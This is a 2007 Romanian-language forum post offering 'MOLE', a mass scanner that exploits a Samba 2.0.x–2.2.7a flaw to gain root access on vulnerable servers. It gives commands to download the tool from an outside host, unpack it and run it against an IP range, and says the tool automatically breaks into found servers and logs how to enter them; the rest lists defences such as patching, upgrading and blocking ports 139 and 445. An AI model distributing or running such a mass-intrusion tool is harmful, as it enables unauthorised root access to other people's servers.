 |
|
 |
|
MAD
Administrator
Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania
|
|
 |
|
 |
|
 Posted: 21/10/2007 03:43 Post subject: Mass scanner MOLE |
 |
|
Acest scanner este bazat pe vulnerabilitate gasita in Samba 2.0.x pana la 2.2.7a . Exploitul din acest scanner iti da access de root pe serverele vulnerabile.
Scannerul il puteti luad de aici :
wget geocities.com/ialin2003/mole.tgz
tar zxvf mole.tgz
cd mole
./scan x.x
Scannerul incerca automat serverele gasit si le arata la sfarsit (cat root.log) întocmai cum sa intrati in ele.
Metoda de securizare impotriva acestui scanner .
Metoda 1.
Daca folositi Samba 2.0.x pana la 2.2.7 se pot gasi niste patchuri pentru aceasta vulnerabilitate.
Vezi : [url]http://us3.samba.org/samba/ftp/[/url]
Metoda 2.
Upgradati Samba la versiunea 2.2.8 sau mai noua .. cea mai noua este 3-0-26a .
Metoda 3.
Blocati accessul extern TCP pe porturile 139 si 445.
Metoda 4.
Daca nu aveti necesitate de Samba ( Se instaleaza cu unele distributii ) stergetil sau dupa fiecare reboot dati in consola serverului comenzile :
| Code: | killall -9 smbd
killall -9 nmbd |
Pentru a inchide SAMBA .
Cam atat .. va astept cu comentarii .
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################
[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url] |
|
FAQ 
Log in to check your private messages 
